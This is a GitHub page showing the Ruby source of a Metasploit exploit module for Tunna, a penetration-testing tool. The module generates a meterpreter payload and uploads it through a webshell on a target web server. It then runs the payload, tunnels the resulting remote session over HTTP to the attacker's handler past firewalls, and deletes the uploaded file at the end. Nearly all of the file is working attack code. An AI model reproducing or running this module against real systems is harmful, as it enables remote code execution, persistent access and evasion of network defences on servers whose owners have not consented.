forked from arschlochnop/hack_tools_for_me
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathtunna_exploit.rb
397 lines (334 loc) · 14.7 KB
/
tunna_exploit.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
## v0.1a Pre-alpha version
# _____
# |_ _| _ _ __ _ __ __ _
# | || | | | '_ \| '_ \ / _` |
# | || |_| | | | | | | | (_| |
# |_| \__,_|_| |_|_| |_|\__,_|
# METASPLOIT MODULE
#
# Tunna 0.1, for HTTP tunneling TCP connections by Nikos Vassakis
# http://www.secforce.com / nikos.vassakis <at> secforce.com
##
require 'msf/core'
require 'fastlib'
require 'rex'
########################################################################
#Life's too short includes
#TODO: Maybe some day use Metasploit API for HTTP requests
require "net/http"
require "net/https"
require "uri"
require "zlib" #for gzip
########################################################################
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
#TODO:
super(update_info(info,
'Name' => 'nvssks',
'Description' => %q{
ntegration with the Metasploit framework allows Tunna to bring architecture attacks closer in web application penetration testing. Tunna framework transparently connects a fully firewalled (inbound and outbound) web application to a local installation of Metasploit
When Tunna is operating integrated with Metasploit, the user chooses the payload which is generated, uploaded and executed in the remote server. Tunna connects the the socket in the remote server to the attackers Metasploit framework making it transparent to the Metasploit exploitation framework.
The webshell will read data from the payload port, wrap it over HTTP and send it as an HTTP response to the metasploit "proxy". The local metasploit "proxy" will unwrap and write the data to its local port where the payload handler is connected. When the metasploit "proxy" receives data on the local port, it will send them over to the webshell as a HTTP Post. The webshell will read the data from the HTTP Post and put it on the payload port.
The Webshell that must be uploaded on the remote webserver and the local proxy application. In order to run the tool, execute the proxy application and instruct it to connect to the webshell and the remote service port. This will initiate the connection with the remote server and create a port on the local machine for the client application to connect to.
Only the webserver port needs to be open. The whole communication (Externally) is done over the HTTP protocol.
},
'Platform' => ['linux', 'win'],
'Arch' => [ARCH_X86_64, ARCH_X86],
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'DefaultTarget' => 0,
))
register_options(
[
OptString.new('TARGETURI',[ true, 'PATH to conn.php / conn.aspx / conn.jsp', "http://webserver:8080/conn.ext"]), #Web shell's URL
#XXX: This should read LOCALIP but if RHOST overriden call to handler hangs execution
OptAddress.new('RHOST', [ true, '!IMPORTANT local external IP','10.3.3.7']), # !IMPORTANT:Metasploit bug if localhost or 127.0.0.1
OptPort.new('RPORT', [ false, "remote port of service for the webshell to connect to (remote meterpreter)", 4444]),#Meterpreter is generated with port 4444
OptPort.new('LPORT', [ false, "port for local server (Handler listener)", 4444]),#Handler port
OptString.new('PingInterval', [ false, 'HTTP request for data, pinging interval', '0.5']) #0.5
],self.class)
register_advanced_options(
[
OptAddress.new('RemoteAddress', [ false, 'address for remote webshell to connect to (beta)','127.0.0.1']), #in case we want to connect to another remote service using the web server
OptInt.new('ReqTimeout', [ false, 'HTTP request timeout in milliseconds', 300]), #Unused
OptInt.new('BufferSize', [ false, 'HTTP request size (some webshels have limitations on the size)', 4096]), #4096 #8192
OptBool.new('StartPing', [true, 'start the pinging thread first - some services send data first (SSH)',false]), #In case remote server needs to send data first(eg. SSH)
], self.class)
end
def HTTPreq(url, dataOut="", timeout=datastore['ReqTimeout']) #Sends the data using HTTP packets / Waits for response
http = Net::HTTP.new(@uri.host,@uri.port)
http.open_timeout = timeout
http.read_timeout = timeout
if dataOut then #If there is data do a POST request
print_debug('POST ' + url + ': ' + (@data_sent+=dataOut.length).to_s + ' (' + dataOut.length.to_s + ')') if @verbose and !@restrict_output #Output of request
resp, data = http.post(url, dataOut, @headers)
else
print_debug('GET ' + url) if @verbose and !@restrict_output #Output of request
resp, data = http.get(url, @headers) #response is saved in resp
end
@headers['Cookie'] = resp.response['set-cookie'] if [email protected]_key?('Cookie') #If set-cookie is received update headers sent to server
if resp.header[ 'Content-Encoding' ].eql?( 'gzip' ) then #In case gzip encoding is used
begin
f = StringIO.new( resp.body )
url_f = Zlib::GzipReader.new( f )
data = url_f.read()
rescue ::Exception => e
print_error("Gzip error was encountered #{e}")
end
else
data = resp.body
end
print_debug('Data Received: ' + (@data_received+=resp.body.length).to_s + ' (' + resp.body.length.to_s + ')') if @verbose and !@restrict_output and resp.body.length > 0
if resp.code == '200' then
return data
else
print_error ("Received status code " + resp.code + "\n" + data)
raise ConnectionError,"Unexpected HTTP response packet"
end
end
def wrap_http_init(url,rport,remote_ip)
@mutex = Rex::ReadWriteLock.new() #for write to socket blocking
@handling_threads = []
@e = Rex::Sync::Event.new(false,false) #for signaling the pinging thread
@stop_p_thread = false #used at exit
@uri = URI(url)
http = Net::HTTP.new(@uri.host,@uri.port)
@[email protected]+"?proxy" #Append proxy as a url parameter
#Add http headers for cookie and encoding
@headers = {
'Accept-encoding' => 'gzip', #support for gzip is implemented
'Connection' => 'close',
'Content-Type' => 'application/octet-stream' #We're going to send raw data
}
#Initial connection to server / Important - set's up a session
print_status(HTTPreq(@url,nil).strip)
#Upload/execute meterpreter on remote host
upload()
sleep(2) #wait - just do it (Can't remember why)
#send config and start stalling thread (required by the php shell)
@handling_threads << Rex::ThreadFactory.spawn("Threaded Initial Request", false){
#Also sends request with the configuration options for the remote server (port and ip for the remote socket)
if remote_ip then
resp = HTTPreq(@url+"&port="+rport.to_s()+"&ip="+remote_ip.to_s(),nil,36000) #TODO: Maybe longer timewait?
else
resp = HTTPreq(@url+"&port="+rport.to_s(),nil,36000)
end
if(resp.strip != '[OK]') then #If response is received and response is not '[OK]' something happend on the server side
raise resp
else
print_status('Keep-alive thread not required')
end
}
@handling_threads[-1].join(2) #wait for exception
#initialise local socket
wrap_http_socket_init()
#start wrapping the connection
wrap_http_connection()
end
def wrap_http_socket_init()
print_status('Starting Http Wrapper')
begin
#Because creating a double socket on localhost triggers a metasploit bug
server = Rex::Socket::TcpServer.create( #create local socket
'LocalHost' => datastore['RHOST'],
'LocalPort' => datastore['LPORT']
)
print_status("socket info:" + server.localport.to_s + ' | ' + server.localhost.to_s )
@ready.set() # unblock main: continues execution and calls handler
@sock = server.accept() # wait for connection
server.close()
rescue ::Exception => e
print_error("The following error was encountered #{e}")
raise
end
end
def wrap_http_connection()
@wrapping_threads = []
#start pinging thread - this thread queries the remote host to see if there is data to be received
@wrapping_threads << Rex::ThreadFactory.spawn("Pinging Thread", false){
Thread.pass
@e.wait() # wait for start signal
print_status("[+] Starting Ping thread")
wait=true
while !@stop_p_thread #loop until requested to stop
Rex::ThreadSafe.sleep(@interval) if wait #send ping to server interval / waits "interval" between requests
@mutex.synchronize_write(){ #ensures that there is only one HTTP request made at a time
resp_data=HTTPreq(@url,nil) #Read data
if resp_data != "" and resp_data then
@sock.write(resp_data) #If data is received - write to socket
resp_data="" #clear data
wait=false #if there was data chances are that there are more / dont wait
else
wait=true
end
}
end
#raise "Pinging Thread Exited"
}
@e.set() if @start_pinging #start ping thread / send event to thread
@wrapping_threads << Rex::ThreadFactory.spawn("Http wrapper Thread", false) { #Threadded write on the socket
data=nil
@i = 0
#Thread.pass
while 1
if @sock.eof? or @sock.closed? then
#print_error("Disconected")
break;
else
begin
data = @sock.read(@bufferSize) #use of bigger buffer eg.8192 - is problematic in jsp
rescue ::Exception => e
print_error("Socket read error was encountered #{e}")
raise
end
if data and data != "" then #if data is read from socket
@mutex.synchronize_write(){ #ensures that there is only one HTTP request made at a time
resp_data=HTTPreq(@url,data) #sends data over HTTP
if resp_data != "" and resp_data then #if data is received back
@sock.write(resp_data) #write them to socket
resp_data="" #clear data (just in case)
end
@e.set() if !@start_pinging #start ping thread if not already started - only happens once
}
end
#end
end
end
@stop_p_thread = true
#wrap_http_connection_close()
}
@ready.set()
end
def wrap_http_connection_close()
#delete remote meterpreter executable
delete_file()
#Request server to close remote socket
print_status(HTTPreq(@url+"&close",nil).strip())
#Close local socket
@sock.close if defined?(@sock) rescue nil
#Kill all threads
print_status("Killing threads")
if @wrapping_threads
@wrapping_threads.each do |t|
t.kill
end # Stop the wrapper threads
end
if @handling_threads
@handling_threads.each do |t|
t.kill
end # Stop the wrapper threads
end
#XXX: If thread is sleeping request to kill pinging thread might get lost
@stop_p_thread = true
raise RuntimeError, "Aborted!"
end
def exploit
@handling_threads = []
@ready = Rex::Sync::Event.new(false,true)
# Debug
@data_sent=0
@data_received=0
@pings=0
#Copy OPTIONS to local vars
@interval = datastore['PingInterval'].to_f
@start_pinging = datastore['StartPing']
@bufferSize = datastore['BufferSize']
@verbose = datastore['VERBOSE'] #gives more verbose output
@restrict_output = false #if verbose restricts output after meterpreter connection establishes
return if not datastore['PAYLOAD']
return if not datastore['TARGETURI']
return if not datastore['RHOST']
#start main thread - spawns everything else
@handling_threads << Rex::ThreadFactory.spawn("Http main wrapper thread", false) {
begin
#Initiate everything
wrap_http_init(datastore['TARGETURI'],datastore['RPORT'],datastore['RemoteAddress'])
rescue ::Exception => e
print_error("The following error was encountered: #{e}")
wrap_http_connection_close()
#raise
::Thread.main.raise e
end
}
#print_status("Started wrapper")
@ready.wait() #Waits for socket to initialise
handler(@sock) #Calls metasploit handler - Doesn't block
@ready.wait() #Waits for wrapper to finish execution before exiting - otherwise handling threads are killed
@wrapping_threads.each(&:join)
wrap_http_connection_close() #Cleenup&Close everything
end
def on_new_session (session)
@restrict_output = true #When VERBOSE output stops after meterpreter session established
end
# Upload / Execute / Delete meterpreter @ remote host functions
def upload()
remote_options = { #Options for remote meterpreter
'RHOST' => '127.0.0.1',
'LPORT' => datastore['RPORT'],
'ENCODER' => nil
}
payload = datastore['PAYLOAD']
exe = generate_meterpreter(payload,remote_options) #Generate meterpreter based on specified payload
if payload.include? "windows" then #If windows payload is selected
filename = 'meterpreter.exe'
else
filename = 'meterpreter'
end
rand = '18788734234' #return 4 style random number
print_status("Uploading meterpreter")
#Generate HTTP packet for upload / include meterpreter and send
@headers['Content-Type']="multipart/form-data; boundary=---------------------------#{rand}"
data ="""-----------------------------#{rand}\r\nContent-Disposition: form-data; name=\"meterpreter\"; filename=\"#{filename}\"\r\nContent-Type: application/octet-stream\r\n\r\n#{exe}\r\n-----------------------------#{rand}--\r\n\r\n"""
print_status( HTTPreq(@uri.path+"?file&upload", data) ) #Send packet / Print response
#Put HTTP request headers back to previous value
@headers['Content-Type']='application/octet-stream'
#Request server to Run the uploaded file
print_status( HTTPreq(@uri.path+"?file&run") )
#Rex::Ui::Text::IrbShell.new(binding).run #debug
end
def delete_file()
#Request server to delete uploaded file
sleep(2)
print_status( HTTPreq(@uri.path+"?file&delete") )
end
def generate_meterpreter(payload_name,remote_options={})
#Reads port from options
print_status("Generating meterpreter (" + payload_name + ")")
remote_options = { #Meterpreter options
'RHOST' => '127.0.0.1',
'LPORT' => datastore['RPORT'],
'ENCODER' => nil
}.merge(remote_options)
#Code from msfpayload
# Initialize the simplified framework instance.
framework = Msf::Simple::Framework.create(
:module_types => [ Msf::MODULE_PAYLOAD, Msf::MODULE_NOP ],
'DisableDatabase' => true
)
payload = framework.payloads.create(payload_name)
$stdout.binmode
enc = remote_options['ENCODER']
begin
buf = payload.generate_simple(
'Format' => 'raw',
'Options' => remote_options,
'Encoder' => enc)
rescue
print_error("Error generating payload: #{$!}")
exit
end
@arch = payload.arch
@plat = payload.platform.platforms
exe = Msf::Util::EXE.to_executable(framework, @arch, @plat, buf)
if(!exe and plat.index(Msf::Module::Platform::Java))
exe = payload.generate_jar.pack
end
if(exe)
return exe # returns generated executable
end
end
end